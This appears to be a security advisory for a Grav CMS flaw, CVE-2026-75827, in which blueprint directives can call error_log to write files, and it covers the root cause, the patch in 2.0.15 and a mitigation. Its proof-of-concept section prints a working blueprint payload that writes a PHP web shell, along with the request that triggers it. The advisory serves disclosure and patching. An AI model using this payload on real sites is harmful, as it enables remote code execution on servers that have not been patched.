CVE-2026-75827: Grav CMS Arbitrary File Write via Blueprint error_log Injection
A gap in Grav's blueprint dynamic-data validation lets any user with page-edit access call PHP's error_log function to write attacker-controlled PHP code to a web-accessible file, resulting in remote…
The problem
Grav's Blueprint engine resolves data-*@ directives by calling arbitrary PHP functions named in blueprint YAML. The guard, Blueprint::isSafeDynamicCall(), protects the Class::method branch with a positive allowlist, but protects the bare-function branch only with a denylist (Utils::isDangerousFunction()).
The denylist omits error_log. PHP's error_log($message, 3, $destination) appends $message verbatim to $destination when its second argument is 3, giving an attacker-controlled file-append primitive. Both the payload string and the destination path pass paramsContainDangerousCallable() unchallenged, so the full call proceeds.
Proof of concept
A working proof-of-concept for CVE-2026-75827 in getgrav/grav, with the exact payload below.
# In a page's form frontmatter or a Flex/Users blueprint field:
data-options@:
- error_log
- "<?php system($_GET[0]); ?>"
- 3
- "user/data/x.php"
# Grav resolves the directive, isSafeDynamicCall('error_log', [...]) returns true (bug),
# then executes:
# call_user_func_array('error_log', ['<?php system($_GET[0]); ?>', 3, 'user/data/x.php'])
# PHP appends the payload to user/data/x.php.
# Request the written file to get RCE:
# GET /user/data/x.php?0=idThe root cause is an asymmetric validation strategy left behind by the prior fix (GHSA-7pgq / CVE-2026-64850). That fix converted the Class::method branch to a positive allowlist (self::$allowedDynamicCallables) but left the bare-function branch on the denylist isDangerousFunction().
Any PHP function not explicitly listed there passes, and error_log is absent from the list.
error_log in mode 3 is a write-to-file primitive with no upload filter or extension check applied. paramsContainDangerousCallable() scans only for callable strings in the params array, so a PHP code string and a file path both pass. The patch in 2.0.15 extends the positive allowlist to cover bare-function calls as well, so only explicitly approved function names can be invoked from a blueprint directive.
The fix
Upgrade to getgrav/grav 2.0.15 (fix commit d5f89d95d94cc155bc3be998ee85527a7be073dd). The patch converts the bare-function branch of isSafeDynamicCall() from a denylist to the same positive allowlist already used for Class::method calls, so any function not explicitly approved is rejected by default.
Until you can upgrade, restrict page-edit and blueprint-config permissions to fully trusted administrators only.
Reported by rhukster (Andy Miller).
Related research
- high · 8.8CVE-2026-72819CVE-2026-72819: Grav CMS Remote Code Execution via ZIP Upload
- highCVE-2026-64850CVE-2026-64850: Grav CMS Remote Code Execution via Unrestricted Callable in Blueprint::dynamicData()
- high · 7.7CVE-2026-76839CVE-2026-76839: Grav CMS Twig Sandbox Credential Leak via offsetGet()
- high · 5.9CVE-2026-74907CVE-2026-74907: Grav CMS Unauthenticated Path Traversal via plugin-asset-map.php